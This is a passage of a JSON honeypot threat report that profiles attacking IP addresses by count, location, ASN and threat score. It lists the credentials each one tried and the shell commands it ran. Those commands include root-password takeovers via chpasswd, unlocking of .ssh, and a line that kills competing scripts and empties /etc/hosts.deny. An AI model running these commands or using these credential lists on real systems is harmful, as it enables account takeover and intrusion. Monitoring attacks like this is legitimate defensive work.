        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Claude!\\nOfB3m2ARYGtt\\nOfB3m2ARYGtt\\n\"|passwd",
        "echo \"Joysuch@Locate2020\\nwCPOdC4ktJrZ\\nwCPOdC4ktJrZ\\n\"|passwd",
        "echo \"mysqluser\\nVw01DitQBehu\\nVw01DitQBehu\\n\"|passwd",
        "echo \"qweasd\\nxXajmXwiAzSP\\nxXajmXwiAzSP\\n\"|passwd",
        "echo \"root:T0VkWCchKZDf\"|chpasswd|bash",
        "echo -e \"Claude!\\nOfB3m2ARYGtt\\nOfB3m2ARYGtt\"|passwd|bash",
        "echo -e \"Joysuch@Locate2020\\nwCPOdC4ktJrZ\\nwCPOdC4ktJrZ\"|passwd|bash",
        "echo -e \"mysqluser\\nVw01DitQBehu\\nVw01DitQBehu\"|passwd|bash",
        "echo -e \"qweasd\\nxXajmXwiAzSP\\nxXajmXwiAzSP\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141607,
      "as_org": "PT Gayatri Lintas Nusantara",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 926,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T09:23:05.708000+00:00",
        "last_seen_30d": "2026-04-28T20:00:53.773000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 720,
        "Suricata": 206
      }
    },
    "58.186.20.101": {
      "attack_count": 659,
      "first_seen": "2026-04-09T10:39:36.596Z",
      "last_seen": "2026-04-20T14:37:59.276Z",
      "sessions": 62,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "gitolite",
        "steam",
        "test",
        "user1",
        "akash",
        "ftpuser",
        "helpdesk",
        "int",
        "setup",
        "teamspeak",
        "testftp",
        "tom",
        "user",
        "vpn",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1q2w3e!@#",
        "1qaz",
        "1qazxsw2",
        "321",
        "333",
        "334455",
        "@a123456789",
        "A1234567891011",
        "Abcd123456!!",
        "Abcd@123456",
        "Admin@888",
        "Cc1234567",
        "Huawei@CLOUD8!",
        "Pa$$word1",
        "QA2ws3ed",
        "QWER@123456",
        "QWER_1234",
        "Qazwsx0!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"gitolite\\nyhTmHJdwGNbs\\nyhTmHJdwGNbs\\n\"|passwd",
        "echo \"root:OQ0QAbmXzpiz\"|chpasswd|bash",
        "echo \"root:P9bIsSv7TKV3\"|chpasswd|bash",
        "echo \"root:o4nN0G7oxq14\"|chpasswd|bash",
        "echo \"root:tVXxE2DwLpGD\"|chpasswd|bash",
        "echo \"root:yjcfHvEnKorR\"|chpasswd|bash",
        "echo -e \"gitolite\\nyhTmHJdwGNbs\\nyhTmHJdwGNbs\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 801,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T10:39:36.596000+00:00",
        "last_seen_30d": "2026-04-20T14:39:03.243000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 659,
        "Suricata": 142
      }
    },
    "89.190.156.120": {
      "attack_count": 599,
      "first_seen": "2026-04-19T17:43:10.873Z",
      "last_seen": "2026-04-22T09:44:21.396Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "deploy",
        "elasticuser",
        "ftpuser01",
        "sammy",
        "teamspeak",
        "admin",
        "adrian",
        "developer",
        "frappe",
        "ftp-user",
        "ftpuser",
        "it",
        "john",
        "lh",
        "mike",
        "n8n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!23QweAsd",
        "111",
        "123",
        "123321",
        "1234",
        "12345678",
        "123@123aA",
        "1qa2ws3ed",
        "Default2024!",
        "Frappe2025",
        "N8n1",
        "P@ssw0rd2025",
        "QWE123qwe",
        "Qazwsx1234567#$",
        "Qazwsx2021@123",
        "Qw@123456",
        "Sammy12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nHltWuP6cFSsl\\nHltWuP6cFSsl\\n\"|passwd",
        "echo \"123@123aA\\ned6sadpmU7m2\\ned6sadpmU7m2\\n\"|passwd",
        "echo \"admin@123\\nfDC42xzAGHSR\\nfDC42xzAGHSR\\n\"|passwd",
        "echo \"ftpuser01\\n2JEuhlEduvY2\\n2JEuhlEduvY2\\n\"|passwd",
        "echo \"root:GYKuKIEUW6Ew\"|chpasswd|bash",
        "echo -e \"123456\\nHltWuP6cFSsl\\nHltWuP6cFSsl\"|passwd|bash",
        "echo -e \"123@123aA\\ned6sadpmU7m2\\ned6sadpmU7m2\"|passwd|bash",
        "echo -e \"admin@123\\nfDC42xzAGHSR\\nfDC42xzAGHSR\"|passwd|bash",
        "echo -e \"ftpuser01\\n2JEuhlEduvY2\\n2JEuhlEduvY2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 49870,
      "as_org": "Alsycon B.V.",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 733,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:43:10.873000+00:00",
        "last_seen_30d": "2026-04-22T09:45:28.290000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 599,
        "Suricata": 134
      }
    },
    "119.205.179.217": {
      "attack_count": 508,
      "first_seen": "2026-04-02T08:51:03.357Z",
      "last_seen": "2026-04-08T07:13:04.222Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "git",
        "steam",
        "teamspeak",
        "test",
        "ubuntu",
        "bot",
        "bounce",
        "demo",
        "deploy",
        "devuser01",
        "mantis",
        "ot",
        "roberto",
        "wcsuser",
        "wp-user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#",
        "1",
        "123456",
        "123@123a",
        "7654321",
        "AA2023!",
        "Aa#1234",
        "Aa1234",
        "Admin@2026",
        "Apple2026",
        "BBqq111",
        "Bc123456",
        "Bot18!",
        "CCqq111",
        "Cde#123",
        "Ld123456",
        "Network1",
        "Nginx123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"7654321\\n2vHVwm5QpvXU\\n2vHVwm5QpvXU\\n\"|passwd",
        "echo \"root:CDZfFlcrYA9J\"|chpasswd|bash",
        "echo \"root:CLyvv7k5cJMs\"|chpasswd|bash",
        "echo \"root:EqggHdiDJ2Uf\"|chpasswd|bash",
        "echo -e \"7654321\\n2vHVwm5QpvXU\\n2vHVwm5QpvXU\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Chuncheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 638,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:51:03.357000+00:00",
        "last_seen_30d": "2026-04-08T07:14:13.213000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 508,
        "Suricata": 130
      }
    },
    "42.112.42.129": {
      "attack_count": 483,
      "first_seen": "2026-04-10T09:08:43.094Z",
      "last_seen": "2026-04-10T10:04:31.685Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "elk",
        "ravi",
        "appuser",
        "bot1",
        "deploy",
        "dev",
        "ftp_user",
        "gres",
        "joe",
        "oliver",
        "site",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "changeme",
        "123123",
        "202500",
        "202501",
        "Admin123",
        "Asdfghjkl",
        "P@ss.word1",
        "Root28!",
        "Teamspeak!",
        "aa123456",
        "appuser@123",
        "asdfghjkl1",
        "bot1",
        "elk",
        "ftp_user",
        "hola1234",
        "oliver",
        "pass2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Teamspeak!\\ntYAxcdgWBLwW\\ntYAxcdgWBLwW\\n\"|passwd",
        "echo \"elk\\nYSU1bHUT4Fru\\nYSU1bHUT4Fru\\n\"|passwd",
        "echo \"ravi\\nTzwNHfPF0u2F\\nTzwNHfPF0u2F\\n\"|passwd",
        "echo \"root:PQcrTVYlW3Mo\"|chpasswd|bash",
        "echo \"root:Vmsocpul9JxD\"|chpasswd|bash",
        "echo -e \"Teamspeak!\\ntYAxcdgWBLwW\\ntYAxcdgWBLwW\"|passwd|bash",
        "echo -e \"elk\\nYSU1bHUT4Fru\\nYSU1bHUT4Fru\"|passwd|bash",
        "echo -e \"ravi\\nTzwNHfPF0u2F\\nTzwNHfPF0u2F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 569,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T09:08:43.094000+00:00",
        "last_seen_30d": "2026-04-10T10:05:33.249000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 483,
        "Suricata": 86
      }
    },
    "43.156.212.38": {
      "attack_count": 462,
      "first_seen": "2026-04-21T15:00:59.792Z",
      "last_seen": "2026-04-22T04:10:39.673Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "steam",
        "345gs5662d34",
        "ali",
        "admin",
        "esuser",
        "ftpuser",
        "postgres",
        "test",
        "user",
        "admin1234",
        "ben",
        "deploy",
        "ec2-user",
        "erp",
        "ftpuser1",
        "game",
        "misha",
        "odoo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "000000",
        "123",
        "123456",
        "123456789",
        "123456qwe!",
        "202520",
        "A123456N",
        "Ab@123123",
        "Admin!@#$",
        "Admin1234567@#",
        "Admin2025",
        "Ali16!",
        "Ali22!",
        "Change2025!",
        "Cs123456789",
        "Ftpuser17!",
        "Iloveyou123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ali16!\\npJIb08rU6xHc\\npJIb08rU6xHc\\n\"|passwd",
        "echo \"Test.123\\nl23pluzIi38c\\nl23pluzIi38c\\n\"|passwd",
        "echo \"esuser123\\negrAqJXmL5Iw\\negrAqJXmL5Iw\\n\"|passwd",
        "echo -e \"Ali16!\\npJIb08rU6xHc\\npJIb08rU6xHc\"|passwd|bash",
        "echo -e \"Test.123\\nl23pluzIi38c\\nl23pluzIi38c\"|passwd|bash",
        "echo -e \"esuser123\\negrAqJXmL5Iw\\negrAqJXmL5Iw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 587,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T15:00:59.792000+00:00",
        "last_seen_30d": "2026-04-22T04:11:46.468000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 462,
        "Suricata": 125
      }
    },
    "103.227.255.141": {
      "attack_count": 304,
      "first_seen": "2026-04-02T08:31:48.108Z",
      "last_seen": "2026-04-02T09:42:53.171Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx3edc",
        "...asd123",
        "123123123a",
        "123456123456",
        "1234qwerasdf",
        "303030",
        "AA123456-",
        "Cloud@2026",
        "S1mt4st1c_Admin",
        "admin1234@.",
        "chat",
        "dnflskfk",
        "lst123",
        "off",
        "q1w2e3r4!@#$",
        "qazQAZ123",
        "qazwsx123@#",
        "robin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:BuNHgIX1MeAa\"|chpasswd|bash",
        "echo \"root:gkVjzMLTLZAA\"|chpasswd|bash",
        "echo \"root:wKoKlOK6qbbc\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 59279,
      "as_org": "PT Raja Mitra Informatika",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:31:48.108000+00:00",
        "last_seen_30d": "2026-04-02T09:43:53.691000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 65
      }
    },
    "23.227.147.163": {
      "attack_count": 304,
      "first_seen": "2026-04-01T20:44:19.055Z",
      "last_seen": "2026-04-01T21:40:54.474Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@WQ12wq",
        "123456qwert",
        "1234Pass",
        "123654987",
        "1QWE2asd3zxc",
        "2025121",
        "7788521521",
        "ABC-123",
        "Support2026@",
        "Test-1234",
        "admintemp",
        "alvaro123",
        "lwidc!@#",
        "mima1234",
        "mit123",
        "peace",
        "qweasdzxc1",
        "qwer!234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:UcpMea5yUnro\"|chpasswd|bash",
        "echo \"root:VWCYojE8L0Hi\"|chpasswd|bash",
        "echo \"root:qnUMReWMTzEi\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 55081,
      "as_org": "24 SHELLS",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 366,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:44:19.055000+00:00",
        "last_seen_30d": "2026-04-01T21:41:58.760000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 62
      }
    },
    "36.50.54.62": {
      "attack_count": 219,
      "first_seen": "2026-04-30T20:10:59.728Z",
      "last_seen": "2026-04-30T21:21:11.476Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "postgres",
        "user",
        "345gs5662d34",
        "deploy",
        "github",
        "nfsuser",
        "oracle",
        "sshuser",
        "testftp",
        "user1"
      ],
      "passwords_attempted": [
        "0727527122",
        "123456789",
        "1q2w3e",
        "1qa2ws3ed4rf",
        "2025",
        "2525",
        "3245gs5662d34",
        "345gs5662d34",
        "777777",
        "999999",
        "AaBbCc123",
        "Abc12345678!",
        "Qwer1234!@#$",
        "Qwerty1!",
        "abc1234",
        "admin00",
        "admin411",
        "asdf",
        "debian123456789",
        "developer123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"pgsql\\nHQC7ul9qNZlv\\nHQC7ul9qNZlv\\n\"|passwd",
        "echo -e \"pgsql\\nHQC7ul9qNZlv\\nHQC7ul9qNZlv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T20:10:59.728000+00:00",
        "last_seen_30d": "2026-04-30T21:22:15.897000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "165.154.6.144": {
      "attack_count": 218,
      "first_seen": "2026-04-30T03:47:43.318Z",
      "last_seen": "2026-04-30T05:13:37.445Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "centos",
        "david",
        "es",
        "esteban",
        "ftpadmin",
        "guest",
        "minecraft",
        "sammy",
        "sftpuser",
        "tester",
        "user"
      ],
      "passwords_attempted": [
        "!@#$%^&*()qwertyuiop",
        "111111",
        "1127",
        "123",
        "1234@",
        "123abc",
        "1q3e2w4r",
        "3245gs5662d34",
        "345gs5662d34",
        "852456",
        "Hq123456",
        "P@ss2024",
        "P@ssw0rd!",
        "QWE123iop",
        "Root123456",
        "TempPass123",
        "Yz123456",
        "admin2",
        "air",
        "anthony"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Pe181barMU3S\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:47:43.318000+00:00",
        "last_seen_30d": "2026-04-30T05:14:39.970000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 72
      }
    },
    "120.48.54.130": {
      "attack_count": 167,
      "first_seen": "2026-04-06T10:50:50.445Z",
      "last_seen": "2026-04-08T19:29:50.800Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
